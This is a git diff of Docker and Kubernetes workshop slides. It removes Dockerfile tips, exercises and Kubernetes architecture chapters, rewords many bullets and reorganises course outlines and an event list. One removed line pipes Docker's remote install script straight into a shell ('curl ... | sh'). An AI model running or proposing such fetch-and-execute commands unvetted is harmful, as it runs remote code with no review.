-* Layers cannot represent efficiently when a file is moved either.
-
-* As a result, operations like `chown`, `chown`, `mv` can be expensive.
-
-* For instance, in the Dockerfile snippet below, each `RUN` line
-  creates a layer with an entire copy of `some-file`.
-
-  ```dockerfile
-  COPY some-file .
-  RUN chown www-data:www-data some-file
-  RUN chmod 644 some-file
-  RUN mv some-file /var/www
-  ```
-
-* How can we avoid that?
-
----
-
-## Put files on the right place
-
-* Instead of using `mv`, directly put files at the right place.
-
-* When extracting archives (tar, zip...), merge operations in a single layer.
-
-  Example:
-
-  ```dockerfile
-    ...
-    RUN wget http://.../foo.tar.gz \
-     && tar -zxf foo.tar.gz \
-     && mv foo/fooctl /usr/local/bin \
-     && rm -rf foo
-  ...
-  ```
-
----
-
-## Use `COPY --chown`
-
-* The Dockerfile instruction `COPY` can take a `--chown` parameter.
-
-  Examples:
-
-  ```dockerfile
-  ...
-  COPY --chown=1000 some-file .
-  COPY --chown=1000:1000 some-file .
-  COPY --chown=www-data:www-data some-file .
-  ```
-
-* The `--chown` flag can specify a user, or a user:group pair.
-
-* The user and group can be specified as names or numbers.
-
-* When using names, the names must exist in `/etc/passwd` or `/etc/group`.
-
-  *(In the container, not on the host!)*
-
----
-
-## Set correct permissions locally
-
-* Instead of using `chmod`, set the right file permissions locally.
-
-* When files are copied with `COPY`, permissions are preserved.
-
----
-
 ## Embedding unit tests in the build process
 
 ```dockerfile

slides/containers/Exercise_Composefile.md

@@ -1,5 +0,0 @@
-# Exercise — writing a Compose file
-
-Let's write a Compose file for the wordsmith app!
-
-The code is at: https://github.com/jpetazzo/wordsmith

slides/containers/Exercise_Dockerfile_Advanced.md

@@ -1,9 +0,0 @@
-# Exercise — writing better Dockerfiles
-
-Let's update our Dockerfiles to leverage multi-stage builds!
-
-The code is at: https://github.com/jpetazzo/wordsmith
-
-Use a different tag for these images, so that we can compare their sizes.
-
-What's the size difference between single-stage and multi-stage builds?

slides/containers/Exercise_Dockerfile_Basic.md

@@ -1,5 +0,0 @@
-# Exercise — writing Dockerfiles
-
-Let's write Dockerfiles for an existing application!
-
-The code is at: https://github.com/jpetazzo/wordsmith

slides/containers/First_Containers.md

@@ -203,90 +203,4 @@ bash: figlet: command not found
 
 * The basic Ubuntu image was used, and `figlet` is not here.
 
----
-
-## Where's my container?
-
-* Can we reuse that container that we took time to customize?
-
-  *We can, but that's not the default workflow with Docker.*
-
-* What's the default workflow, then?
-
-  *Always start with a fresh container.*
-  <br/>
-  *If we need something installed in our container, build a custom image.*
-
-* That seems complicated!
-
-  *We'll see that it's actually pretty easy!*
-
-* And what's the point?
-
-  *This puts a strong emphasis on automation and repeatability. Let's see why ...*
-
----
-
-## Pets vs. Cattle
-
-* In the "pets vs. cattle" metaphor, there are two kinds of servers.
-
-* Pets:
-
-  * have distinctive names and unique configurations
-
-  * when they have an outage, we do everything we can to fix them
-
-* Cattle:
-
-  * have generic names (e.g. with numbers) and generic configuration
-
-  * configuration is enforced by configuration management, golden images ...
-
-  * when they have an outage, we can replace them immediately with a new server
-
-* What's the connection with Docker and containers?
-
----
-
-## Local development environments
-
-* When we use local VMs (with e.g. VirtualBox or VMware), our workflow looks like this:
-
-  * create VM from base template (Ubuntu, CentOS...)
-
-  * install packages, set up environment
-
-  * work on project
-
-  * when done, shut down VM
-
-  * next time we need to work on project, restart VM as we left it
-
-  * if we need to tweak the environment, we do it live
-
-* Over time, the VM configuration evolves, diverges.
-
-* We don't have a clean, reliable, deterministic way to provision that environment.
-
----
-
-## Local development with Docker
-
-* With Docker, the workflow looks like this:
-
-  * create container image with our dev environment
-
-  * run container with that image
-
-  * work on project
-
-  * when done, shut down container
-
-  * next time we need to work on project, start a new container
-
-  * if we need to tweak the environment, we create a new image
-
-* We have a clear definition of our environment, and can share it reliably with others.
-
-* Let's see in the next chapters how to bake a custom image with `figlet`!
+* We will see in the next chapters how to bake a custom image with `figlet`.

slides/containers/Initial_Images.md

@@ -70,9 +70,8 @@ class: pic
 
 * An image is a read-only filesystem.
 
-* A container is an encapsulated set of processes,
-
-  running in a read-write copy of that filesystem.
+* A container is an encapsulated set of processes running in a
+  read-write copy of that filesystem.
 
 * To optimize container boot time, *copy-on-write* is used
   instead of regular copy.
@@ -178,11 +177,8 @@ Let's explain each of them.
 
 ## Root namespace
 
-The root namespace is for official images.
-
-They are gated by Docker Inc.
-
-They are generally authored and maintained by third parties.
+The root namespace is for official images. They are put there by Docker Inc.,
+but they are generally authored and maintained by third parties.
 
 Those images include:
 
@@ -192,7 +188,7 @@ Those images include:
 
 * Ready-to-use components and services, like redis, postgresql...
 
-* Over 150 at this point!
+* Over 130 at this point!
 
 ---
 

slides/containers/Installing_Docker.md

@@ -38,7 +38,11 @@ We can arbitrarily distinguish:
 
 ## Installing Docker on Linux
 
-* The recommended method is to install the packages supplied by Docker Inc :
+* The recommended method is to install the packages supplied by Docker Inc.:
+
+  https://store.docker.com
+
+* The general method is:
 
   - add Docker Inc.'s package repositories to your system configuration
 
@@ -52,12 +56,6 @@ We can arbitrarily distinguish:
 
   https://docs.docker.com/engine/installation/linux/docker-ce/binaries/
 
-* To quickly setup a dev environment, Docker provides a convenience install script:
-
-  ```bash
-  curl -fsSL get.docker.com | sh
-  ```
-
 ---
 
 class: extra-details

slides/containers/Local_Development_Workflow.md

@@ -156,7 +156,7 @@ Option 3:
 
 * Use a *volume* to mount local files into the container
 * Make changes locally
-* Changes are reflected in the container
+* Changes are reflected into the container
 
 ---
 
@@ -176,7 +176,7 @@ $ docker run -d -v $(pwd):/src -P namer
 
 * `namer` is the name of the image we will run.
 
-* We don't specify a command to run because it is already set in the Dockerfile via `CMD`.
+* We don't specify a command to run because it is already set in the Dockerfile.
 
 Note: on Windows, replace `$(pwd)` with `%cd%` (or `${pwd}` if you use PowerShell).
 
@@ -192,7 +192,7 @@ The flag structure is:
 [host-path]:[container-path]:[rw|ro]
 ```
 
-* `[host-path]` and `[container-path]` are created if they don't exist.
+* If `[host-path]` or `[container-path]` doesn't exist it is created.
 
 * You can control the write status of the volume with the `ro` and
   `rw` options.
@@ -255,13 +255,13 @@ color: red;
 
 * Volumes are *not* copying or synchronizing files between the host and the container.
 
-* Volumes are *bind mounts*: a kernel mechanism associating one path with another.
+* Volumes are *bind mounts*: a kernel mechanism associating a path to another.
 
 * Bind mounts are *kind of* similar to symbolic links, but at a very different level.
 
 * Changes made on the host or on the container will be visible on the other side.
 
-  (Under the hood, it's the same file anyway.)
+  (Since under the hood, it's the same file on both anyway.)
 
 ---
 
@@ -273,7 +273,7 @@ by Chad Fowler, where he explains the concept of immutable infrastructure.)*
 
 --
 
-* Let's majorly mess up our container.
+* Let's mess up majorly with our container.
 
   (Remove files or whatever.)
 
@@ -319,7 +319,7 @@ and *canary deployments*.
    <br/>
    Use the `-v` flag to mount our source code inside the container.
 
-3. Edit the source code outside the container, using familiar tools.
+3. Edit the source code outside the containers, using regular tools.
    <br/>
    (vim, emacs, textmate...)
 

slides/containers/Namespaces_Cgroups.md

@@ -86,13 +86,13 @@ class: extra-details, deep-dive
 
   - the `unshare()` system call.
 
-- The Linux tool `unshare` allows doing that from a shell.
+- The Linux tool `unshare` allows to do that from a shell.
 
 - A new process can re-use none / all / some of the namespaces of its parent.
 
 - It is possible to "enter" a namespace with the `setns()` system call.
 
-- The Linux tool `nsenter` allows doing that from a shell.
+- The Linux tool `nsenter` allows to do that from a shell.
 
 ---
 
@@ -138,11 +138,11 @@ class: extra-details, deep-dive
 
 - gethostname / sethostname
 
-- Allows setting a custom hostname for a container.
+- Allows to set a custom hostname for a container.
 
 - That's (mostly) it!
 
-- Also allows setting the NIS domain.
+- Also allows to set the NIS domain.
 
   (If you don't know what a NIS domain is, you don't have to worry about it!)
 
@@ -392,13 +392,13 @@ class: extra-details
 
 - Processes can have their own root fs (à la chroot).
 
-- Processes can also have "private" mounts. This allows:
+- Processes can also have "private" mounts. This allows to:
 
-  - isolating `/tmp` (per user, per service...)
+  - isolate `/tmp` (per user, per service...)
 
-  - masking `/proc`, `/sys` (for processes that don't need them)
+  - mask `/proc`, `/sys` (for processes that don't need them)
 
-  - mounting remote filesystems or sensitive data,
+  - mount remote filesystems or sensitive data,
     <br/>but make it visible only for allowed processes
 
 - Mounts can be totally private, or shared.
@@ -570,7 +570,7 @@ Check `man 2 unshare` and `man pid_namespaces` if you want more details.
 
 ## User namespace
 
-- Allows mapping UID/GID; e.g.:
+- Allows to map UID/GID; e.g.:
 
   - UID 0→1999 in container C1 is mapped to UID 10000→11999 on host
   - UID 0→1999 in container C2 is mapped to UID 12000→13999 on host
@@ -947,7 +947,7 @@ Killed
 
   (i.e., "this group of process used X seconds of CPU0 and Y seconds of CPU1".)
 
-- Allows setting relative weights used by the scheduler.
+- Allows to set relative weights used by the scheduler.
 
 ---
 
@@ -1101,9 +1101,9 @@ See `man capabilities` for the full list and details.
 
 - Original seccomp only allows `read()`, `write()`, `exit()`, `sigreturn()`.
 
-- The seccomp-bpf extension allows specifying custom filters with BPF rules.
+- The seccomp-bpf extension allows to specify custom filters with BPF rules.
 
-- This allows filtering by syscall, and by parameter.
+- This allows to filter by syscall, and by parameter.
 
 - BPF code can perform arbitrarily complex checks, quickly, and safely.
 

slides/containers/Orchestration_Overview.md

@@ -6,6 +6,8 @@ In this chapter, we will:
 
 * Present (from a high-level perspective) some orchestrators.
 
+* Show one orchestrator (Kubernetes) in action.
+
 ---
 
 class: pic
@@ -119,7 +121,7 @@ Now, how are things for our IAAS provider?
 - Solution: *migrate* VMs and shutdown empty servers
   
   (e.g. combine two hypervisors with 40% load into 80%+0%,
-  <br/>and shut down the one at 0%)
+  <br/>and shutdown the one at 0%)
 
 ---
 
@@ -127,7 +129,7 @@ Now, how are things for our IAAS provider?
 
 How do we implement this?
 
-- Shut down empty hosts (but keep some spare capacity)
+- Shutdown empty hosts (but keep some spare capacity)
 
 - Start hosts again when capacity gets low
 
@@ -175,7 +177,7 @@ In practice, these goals often conflict.
 
   - 16 GB RAM, 8 cores, 1 TB disk
 
-- Each week, your team requests:
+- Each week, your team asks:
 
   - one VM with X RAM, Y CPU, Z disk
 

slides/containers/Resource_Limits.md

@@ -72,7 +72,7 @@
 
 - For memory usage, the mechanism is part of the *cgroup* subsystem.
 
-- This subsystem allows limiting the memory for a process or a group of processes.
+- This subsystem allows to limit the memory for a process or a group of processes.
 
 - A container engine leverages these mechanisms to limit memory for a container.
 

slides/containers/Training_Environment.md

@@ -45,13 +45,13 @@ individual Docker VM.*
 
 - The Docker Engine is a daemon (a service running in the background).
 
-- This daemon manages containers, the same way that a hypervisor manages VMs.
+- This daemon manages containers, the same way that an hypervisor manages VMs.
 
 - We interact with the Docker Engine by using the Docker CLI.
 
 - The Docker CLI and the Docker Engine communicate through an API.
 
-- There are many other programs and client libraries which use that API.
+- There are many other programs, and many client libraries, to use that API.
 
 ---
 

slides/containers/Working_With_Volumes.md

@@ -33,13 +33,13 @@ Docker volumes can be used to achieve many things, including:
 
 * Sharing a *single file* between the host and a container.
 
-* Using remote storage and custom storage with *volume drivers*.
+* Using remote storage and custom storage with "volume drivers".
 
 ---
 
 ## Volumes are special directories in a container
 
-Volumes can be declared in two different ways:
+Volumes can be declared in two different ways.
 
 * Within a `Dockerfile`, with a `VOLUME` instruction.
 
@@ -163,7 +163,7 @@ Volumes are not anchored to a specific path.
 
 * Volumes are used with the `-v` option.
 
-* When a host path does not contain a `/`, it is considered a volume name.
+* When a host path does not contain a /, it is considered to be a volume name.
 
 Let's start a web server using the two previous volumes.
 
@@ -189,7 +189,7 @@ $ curl localhost:1234
 
 * In this example, we will run a text editor in the other container.
 
-  (But this could be an FTP server, a WebDAV server, a Git receiver...)
+  (But this could be a FTP server, a WebDAV server, a Git receiver...)
 
 Let's start another container using the `webapps` volume.
 

slides/index.yaml

@@ -1,82 +1,3 @@
-- date: [2019-11-04, 2019-11-05]
-  country: de
-  city: Berlin
-  event: Velocity
-  speaker: jpetazzo
-  title: Deploying and scaling applications with Kubernetes
-  attend: https://conferences.oreilly.com/velocity/vl-eu/public/schedule/detail/79109
-
-- date: 2019-11-13
-  country: fr
-  city: Marseille
-  event: DevopsDDay
-  speaker: jpetazzo
-  title: Déployer ses applications avec Kubernetes (in French)
-  lang: fr
-  attend: http://2019.devops-dday.com/Workshop.html
-
-- date: [2019-09-24, 2019-09-25]
-  country: fr
-  city: Paris
-  event: ENIX SAS
-  speaker: jpetazzo
-  title: Déployer ses applications avec Kubernetes (in French)
-  lang: fr
-  attend: https://enix.io/fr/services/formation/deployer-ses-applications-avec-kubernetes/
-
-- date: 2019-08-27
-  country: tr
-  city: Izmir
-  event: HacknBreak
-  speaker: gurayyildirim
-  title: Deploying and scaling applications with Kubernetes (in Turkish)
-  lang: tr
-  attend: https://hacknbreak.com
-
-- date: 2019-08-26
-  country: tr
-  city: Izmir
-  event: HacknBreak
-  speaker: gurayyildirim
-  title: Container Orchestration with Docker and Swarm (in Turkish)
-  lang: tr
-  attend: https://hacknbreak.com
-
-- date: 2019-08-25
-  country: tr
-  city: Izmir
-  event: HackBreak
-  speaker: gurayyildirim
-  title: Introduction to Docker and Containers (in Turkish)
-  lang: tr
-  attend: https://hacknbreak.com
-
-- date: 2019-07-16
-  country: us
-  city: Portland, OR
-  event: OSCON
-  speaker: bridgetkromhout
-  title: "Kubernetes 201: Production tooling"
-  attend: https://conferences.oreilly.com/oscon/oscon-or/public/schedule/detail/76390
-  slides: https://oscon2019.container.training
-
-- date: 2019-06-17
-  country: ca
-  city: Montréal
-  event: Zenika
-  speaker: jpetazzo
-  title: Getting Started With Kubernetes
-  attend: https://www.eventbrite.com/e/getting-started-with-kubernetes-1-day-en-tickets-61658444066
-
-- date: [2019-06-10, 2019-06-11]
-  city: San Jose, CA
-  country: us
-  event: Velocity
-  title: Kubernetes for administrators and operators
-  speaker: jpetazzo
-  attend: https://conferences.oreilly.com/velocity/vl-ca/public/schedule/detail/75313
-  slides: https://kadm-2019-06.container.training/
-
 - date: 2019-05-01
   country: us
   city: Cleveland, OH
@@ -84,8 +5,6 @@
   speaker: jpetazzo, s0ulshake
   title: Getting started with Kubernetes and container orchestration
   attend: https://us.pycon.org/2019/schedule/presentation/74/
-  slides: https://pycon2019.container.training/
-  video: https://www.youtube.com/watch?v=J08MrW2NC1Y
 
 - date: 2019-04-28
   country: us
@@ -94,26 +13,15 @@
   speaker: jpetazzo
   title: Getting Started With Kubernetes and Container Orchestration
   attend: https://gotochgo.com/2019/workshops/148
-  slides: https://gotochgo2019.container.training/
-
-- date: 2019-04-26
-  country: fr
-  city: Paris
-  event: ENIX SAS
-  speaker: jpetazzo
-  title: Opérer et administrer Kubernetes
-  attend: https://enix.io/fr/services/formation/operer-et-administrer-kubernetes/
-  slides: https://kadm-2019-04.container.training/
 
 - date: [2019-04-23, 2019-04-24]
   country: fr
   city: Paris
   event: ENIX SAS
-  speaker: jpetazzo
+  speaker: "jpetazzo, rdegez"
   title: Déployer ses applications avec Kubernetes (in French)
   lang: fr
   attend: https://enix.io/fr/services/formation/deployer-ses-applications-avec-kubernetes/
-  slides: https://kube-2019-04.container.training/
 
 - date: [2019-04-15, 2019-04-16]
   country: fr
@@ -123,7 +31,6 @@
   title: Bien démarrer avec les conteneurs (in French)
   lang: fr
   attend: https://enix.io/fr/services/formation/bien-demarrer-avec-les-conteneurs/
-  slides: http://intro-2019-04.container.training/
 
 - date: 2019-03-08
   country: uk

slides/intro-fullday.yml

@@ -1,13 +1,13 @@
 title: |
-  Introduction
-  to Containers
+  Bien démarrer
+  avec les conteneurs
 
-chat: "[Slack](https://dockercommunity.slack.com/messages/C7GKACWDV)"
-#chat: "[Gitter](https://gitter.im/jpetazzo/workshop-yyyymmdd-city)"
+#chat: "[Slack](https://dockercommunity.slack.com/messages/C7GKACWDV)"
+chat: "[Gitter](https://gitter.im/enix/formation-docker-20190415)"
 
 gitrepo: github.com/jpetazzo/container.training
 
-slides: http://container.training/
+slides: http://intro-2019-04.container.training/
 
 exclude:
 - self-paced
@@ -18,66 +18,68 @@ chapters:
 - containers/intro.md
 - shared/about-slides.md
 - shared/toc.md
-- 
-  - containers/Docker_Overview.md
+- - containers/Docker_Overview.md
   #- containers/Docker_History.md
   - containers/Training_Environment.md
-  #- containers/Installing_Docker.md
+  - containers/Installing_Docker.md
   - containers/First_Containers.md
   - containers/Background_Containers.md
-  #- containers/Start_And_Attach.md
-  - containers/Initial_Images.md
+  - containers/Start_And_Attach.md
+- - containers/Initial_Images.md
   - containers/Building_Images_Interactively.md
   - containers/Building_Images_With_Dockerfiles.md
   - containers/Cmd_And_Entrypoint.md
--
-  - containers/Copying_Files_During_Build.md
-  - containers/Exercise_Dockerfile_Basic.md
+- - containers/Copying_Files_During_Build.md
+  - |
+      # Exercise — writing Dockerfiles
+
+      Let's write Dockerfiles for an existing application!
+
+      The code is at: https://github.com/jpetazzo/wordsmith
+
   - containers/Multi_Stage_Builds.md
-  #- containers/Publishing_To_Docker_Hub.md
-  - containers/Exercise_Dockerfile_Advanced.md
+  - containers/Publishing_To_Docker_Hub.md
   - containers/Dockerfile_Tips.md
--
-  - containers/Naming_And_Inspecting.md
-  #- containers/Labels.md
+  - |
+      # Exercise — writing better Dockerfiles
+
+      Let's update our Dockerfiles to leverage multi-stage builds!
+
+      The code is at: https://github.com/jpetazzo/wordsmith
+
+      Use a different tag for these images, so that we can compare their sizes.
+
+      What's the size difference between single-stage and multi-stage builds?
+
+- - containers/Naming_And_Inspecting.md
+  - containers/Labels.md
   - containers/Getting_Inside.md
-  - containers/Container_Networking_Basics.md
-  #- containers/Network_Drivers.md
+  - containers/Resource_Limits.md
+- - containers/Container_Networking_Basics.md
+  - containers/Network_Drivers.md
   - containers/Container_Network_Model.md
   #- containers/Connecting_Containers_With_Links.md
-  #- containers/Ambassadors.md
-  - containers/Local_Development_Workflow.md
-  #- containers/Windows_Containers.md
-  #- containers/Working_With_Volumes.md
-  - containers/Compose_For_Dev_Stacks.md
-  - containers/Exercise_Composefile.md
-- 
-  #- containers/Docker_Machine.md
-  #- containers/Advanced_Dockerfiles.md
-  #- containers/Ecosystem.md
-  - containers/Orchestration_Overview.md
-  - |
-    # (Insert Infinity content here)
-    
-  - shared/thankyou.md
-  - containers/links.md
-- 
-  - |
-    # (Extra material - intermediary)
-
-  - containers/Application_Configuration.md
-  - containers/Labels.md
-  - containers/Logging.md
-  - containers/Resource_Limits.md
-  - containers/Network_Drivers.md
+  - containers/Ambassadors.md
+- - containers/Local_Development_Workflow.md
   - containers/Windows_Containers.md
   - containers/Working_With_Volumes.md
--
+  - containers/Compose_For_Dev_Stacks.md
   - |
-     # (Extra material - advanced)
+      # Exercise — writing a Compose file
 
+      Let's write a Compose file for the wordsmith app!
+
+      The code is at: https://github.com/jpetazzo/wordsmith
+
+- - containers/Docker_Machine.md
   - containers/Advanced_Dockerfiles.md
-  - containers/Namespaces_Cgroups.md
+  - containers/Application_Configuration.md
+  - containers/Logging.md
+- - containers/Namespaces_Cgroups.md
   - containers/Copy_On_Write.md
-  - containers/Containers_From_Scratch.md
-  - containers/Container_Engines.md
+  #- containers/Containers_From_Scratch.md
+- - containers/Container_Engines.md
+  #- containers/Ecosystem.md
+  - containers/Orchestration_Overview.md
+  - shared/thankyou.md
+  - containers/links.md

slides/intro-selfpaced.yml

@@ -30,11 +30,9 @@ chapters:
   - containers/Building_Images_With_Dockerfiles.md
   - containers/Cmd_And_Entrypoint.md
   - containers/Copying_Files_During_Build.md
-  - containers/Exercise_Dockerfile_Basic.md
 - - containers/Multi_Stage_Builds.md
   - containers/Publishing_To_Docker_Hub.md
   - containers/Dockerfile_Tips.md
-  - containers/Exercise_Dockerfile_Advanced.md
 - - containers/Naming_And_Inspecting.md
   - containers/Labels.md
   - containers/Getting_Inside.md
@@ -47,7 +45,6 @@ chapters:
   - containers/Windows_Containers.md
   - containers/Working_With_Volumes.md
   - containers/Compose_For_Dev_Stacks.md
-  - containers/Exercise_Composefile.md
   - containers/Docker_Machine.md
 - - containers/Advanced_Dockerfiles.md
   - containers/Application_Configuration.md

slides/k8s/apilb.md

@@ -1,89 +0,0 @@
-# API server availability
-
-- When we set up a node, we need the address of the API server:
-
-  - for kubelet
-
-  - for kube-proxy
-
-  - sometimes for the pod network system (like kube-router)
-
-- How do we ensure the availability of that endpoint?
-
-  (what if the node running the API server goes down?)
-
----
-
-## Option 1: external load balancer
-
-- Set up an external load balancer
-
-- Point kubelet (and other components) to that load balancer
-
-- Put the node(s) running the API server behind that load balancer
-
-- Update the load balancer if/when an API server node needs to be replaced
-
-- On cloud infrastructures, some mechanisms provide automation for this
-
-  (e.g. on AWS, an Elastic Load Balancer + Auto Scaling Group)
-
-- [Example in Kubernetes The Hard Way](https://github.com/kelseyhightower/kubernetes-the-hard-way/blob/master/docs/08-bootstrapping-kubernetes-controllers.md#the-kubernetes-frontend-load-balancer)
-
----
-
-## Option 2: local load balancer
-
-- Set up a load balancer (like NGINX, HAProxy...) on *each* node
-
-- Configure that load balancer to send traffic to the API server node(s)
-
-- Point kubelet (and other components) to `localhost`
-
-- Update the load balancer configuration when API server nodes are updated
-
----
-
-## Updating the local load balancer config
-
-- Distribute the updated configuration (push)
-
-- Or regularly check for updates (pull)
-
-- The latter requires an external, highly available store
- 
-  (it could be an object store, an HTTP server, or even DNS...)
-
-- Updates can be facilitated by a DaemonSet
-
-  (but remember that it can't be used when installing a new node!)
-
----
-
-## Option 3: DNS records
-
-- Put all the API server nodes behind a round-robin DNS
-
-- Point kubelet (and other components) to that name
-
-- Update the records when needed
-
-- Note: this option is not officially supported
-
-  (but since kubelet supports reconnection anyway, it *should* work)
-
----
-
-## Option 4: ....................
-
-- Many managed clusters expose a high-availability API endpoint
-
-  (and you don't have to worry about it)
-
-- You can also use HA mechanisms that you're familiar with
-
-  (e.g. virtual IPs)
-
-- Tunnels are also fine
-
-  (e.g. [k3s](https://k3s.io/) uses a tunnel to allow each node to contact the API server)

slides/k8s/architecture.md

@@ -1,383 +0,0 @@
-# Kubernetes architecture
-
-We can arbitrarily split Kubernetes in two parts:
-
-- the *nodes*, a set of machines that run our containerized workloads;
-
-- the *control plane*, a set of processes implementing the Kubernetes APIs.
-
-Kubernetes also relies on underlying infrastructure:
-
-- servers, network connectivity (obviously!),
-
-- optional components like storage systems, load balancers ...
-
----
-
-## Control plane location
-
-The control plane can run:
-
-- in containers, on the same nodes that run other application workloads
-
-  (example: Minikube; 1 node runs everything)
-
-- on a dedicated node
-
-  (example: a cluster installed with kubeadm)
-
-- on a dedicated set of nodes
-
-  (example: Kubernetes The Hard Way; kops)
-
-- outside of the cluster
-
-  (example: most managed clusters like AKS, EKS, GKE)
-
----
-
-class: pic
-
-![Kubernetes architecture diagram: control plane and nodes](images/k8s-arch2.png)
-
----
-
-## What runs on a node
-
-- Our containerized workloads
-
-- A container engine like Docker, CRI-O, containerd...
-
-  (in theory, the choice doesn't matter, as the engine is abstracted by Kubernetes)
-
-- kubelet: an agent connecting the node to the cluster
-
-  (it connects to the API server, registers the node, receives instructions)
-
-- kube-proxy: a component used for internal cluster communication
-
-  (note that this is *not* an overlay network or a CNI plugin!)
-
----
-
-## What's in the control plane
-
-- Everything is stored in etcd
-
-  (it's the only stateful component)
-
-- Everyone communicates exclusively through the API server:
-
-  - we (users) interact with the cluster through the API server
-
-  - the nodes register and get their instructions through the API server
-
-  - the other control plane components also register with the API server
-
-- API server is the only component that reads/writes from/to etcd
-
----
-
-## Communication protocols: API server
-
-- The API server exposes a REST API
-
-  (except for some calls, e.g. to attach interactively to a container)
-
-- Almost all requests and responses are JSON following a strict format
-
-- For performance, the requests and responses can also be done over protobuf
-
-  (see this [design proposal](https://github.com/kubernetes/community/blob/master/contributors/design-proposals/api-machinery/protobuf.md) for details)
-
-- In practice, protobuf is used for all internal communication
-
-  (between control plane components, and with kubelet)
-
----
-
-## Communication protocols: on the nodes
-
-The kubelet agent uses a number of special-purpose protocols and interfaces, including:
-
-- CRI (Container Runtime Interface)
-
-  - used for communication with the container engine
-  - abstracts the differences between container engines
-  - based on gRPC+protobuf
-
-- [CNI (Container Network Interface)](https://github.com/containernetworking/cni/blob/master/SPEC.md)
-
-  - used for communication with network plugins
-  - network plugins are implemented as executable programs invoked by kubelet
-  - network plugins provide IPAM
-  - network plugins set up network interfaces in pods
-
----
-
-class: pic
-
-![Kubernetes architecture diagram: communication between components](images/k8s-arch4-thanks-luxas.png)
-
----
-
-# The Kubernetes API
-
-[
-*The Kubernetes API server is a "dumb server" which offers storage, versioning, validation, update, and watch semantics on API resources.*
-](
-https://github.com/kubernetes/community/blob/master/contributors/design-proposals/api-machinery/protobuf.md#proposal-and-motivation
-)
-
-([Clayton Coleman](https://twitter.com/smarterclayton), Kubernetes Architect and Maintainer)
-
-What does that mean?
-
----
-
-## The Kubernetes API is declarative
-
-- We cannot tell the API, "run a pod"
-
-- We can tell the API, "here is the definition for pod X"
-
-- The API server will store that definition (in etcd)
-
-- *Controllers* will then wake up and create a pod matching the definition
-
----
-
-## The core features of the Kubernetes API
-
-- We can create, read, update, and delete objects
-
-- We can also *watch* objects
-
-  (be notified when an object changes, or when an object of a given type is created)
-
-- Objects are strongly typed
-
-- Types are *validated* and *versioned*
-
-- Storage and watch operations are provided by etcd
-
-  (note: the [k3s](https://k3s.io/) project allows us to use sqlite instead of etcd)
-
----
-
-## Let's experiment a bit!
-
-- For the exercises in this section, connect to the first node of the `test` cluster
-
-.exercise[
-
-- SSH to the first node of the test cluster
-
-- Check that the cluster is operational:
-  ```bash
-  kubectl get nodes
-  ```
-
-- All nodes should be `Ready`
-
-]
-
----
-
-## Create
-
-- Let's create a simple object
-
-.exercise[
-
-- Create a namespace with the following command:
-  ```bash
-    kubectl create -f- <<EOF
-    apiVersion: v1
-    kind: Namespace
-    metadata:
-      name: hello
-    EOF
-  ```
-
-]
-
-This is equivalent to `kubectl create namespace hello`.
-
----
-
-## Read
-
-- Let's retrieve the object we just created
-
-.exercise[
-
-- Read back our object:
-  ```bash
-  kubectl get namespace hello -o yaml
-  ```
-
-]
-
-We see a lot of data that wasn't here when we created the object.
-
-Some data was automatically added to the object (like `spec.finalizers`).
-
-Some data is dynamic (typically, the content of `status`.)
-
----
-
-## API requests and responses
-
-- Almost every Kubernetes API payload (requests and responses) has the same format:
-  ```yaml
-    apiVersion: xxx
-    kind: yyy
-    metadata:
-      name: zzz
-      (more metadata fields here)
-    (more fields here)
-  ```
-
-- The fields shown above are mandatory, except for some special cases
-
-  (e.g.: in lists of resources, the list itself doesn't have a `metadata.name`)
-
-- We show YAML for convenience, but the API uses JSON
-
-  (with optional protobuf encoding)
-
----
-
-class: extra-details
-
-## API versions
-
-- The `apiVersion` field corresponds to an *API group*
-
-- It can be either `v1` (aka "core" group or "legacy group"), or `group/versions`; e.g.:
-
-  - `apps/v1`
-  - `rbac.authorization.k8s.io/v1`
-  - `extensions/v1beta1`
-
-- It does not indicate which version of Kubernetes we're talking about
-
-- It *indirectly* indicates the version of the `kind`
-
-  (which fields exist, their format, which ones are mandatory...)
-
-- A single resource type (`kind`) is rarely versioned alone
-
-  (e.g.: the `batch` API group contains `jobs` and `cronjobs`)
-
----
-
-## Update
-
-- Let's update our namespace object
-
-- There are many ways to do that, including:
-
-  - `kubectl apply` (and provide an updated YAML file)
-  - `kubectl edit`
-  - `kubectl patch`
-  - many helpers, like `kubectl label`, or `kubectl set`
-
-- In each case, `kubectl` will:
-
-  - get the current definition of the object
-  - compute changes
-  - submit the changes (with `PATCH` requests)
-
----
-
-## Adding a label
-
-- For demonstration purposes, let's add a label to the namespace
-
-- The easiest way is to use `kubectl label`
-
-.exercise[
-
-- In one terminal, watch namespaces:
-  ```bash
-  kubectl get namespaces --show-labels -w
-  ```
-
-- In the other, update our namespace:
-  ```bash
-  kubectl label namespaces hello color=purple
-  ```
-
-]
-
-We demonstrated *update* and *watch* semantics.
-
----
-
-## What's special about *watch*?
-
-- The API server itself doesn't do anything: it's just a fancy object store
-
-- All the actual logic in Kubernetes is implemented with *controllers*
-
-- A *controller* watches a set of resources, and takes action when they change
-
-- Examples:
-
-  - when a Pod object is created, it gets scheduled and started
-
-  - when a Pod belonging to a ReplicaSet terminates, it gets replaced
-
-  - when a Deployment object is updated, it can trigger a rolling update
-
----
-
-# Other control plane components
-
-- API server ✔️
-
-- etcd ✔️
-
-- Controller manager
-
-- Scheduler
-
----
-
-## Controller manager
-
-- This is a collection of loops watching all kinds of objects
-
-- That's where the actual logic of Kubernetes lives
-
-- When we create a Deployment (e.g. with `kubectl run web --image=nginx`),
-
-  - we create a Deployment object
-
-  - the Deployment controller notices it, and creates a ReplicaSet
-
-  - the ReplicaSet controller notices the ReplicaSet, and creates a Pod
-
----
-
-## Scheduler
-
-- When a pod is created, it is in `Pending` state
-
-- The scheduler (or rather: *a scheduler*) must bind it to a node
-
-  - Kubernetes comes with an efficient scheduler with many features
-
-  - if we have special requirements, we can add another scheduler
-    <br/>
-    (example: this [demo scheduler](https://github.com/kelseyhightower/scheduler) uses the cost of nodes, stored in node annotations)
-
-- A pod might stay in `Pending` state for a long time:
-
-  - if the cluster is full
-
-  - if the pod has special constraints that can't be met
-
-  - if the scheduler is not running (!)

slides/k8s/authn-authz.md

@@ -22,7 +22,7 @@
 
 - When the API server receives a request, it tries to authenticate it
 
-  (it examines headers, certificates... anything available)
+  (it examines headers, certificates ... anything available)
 
 - Many authentication methods are available and can be used simultaneously
 
@@ -34,7 +34,7 @@
   - the user ID
   - a list of groups
 
-- The API server doesn't interpret these; that'll be the job of *authorizers*
+- The API server doesn't interpret these; it'll be the job of *authorizers*
 
 ---
 
@@ -50,7 +50,7 @@
 
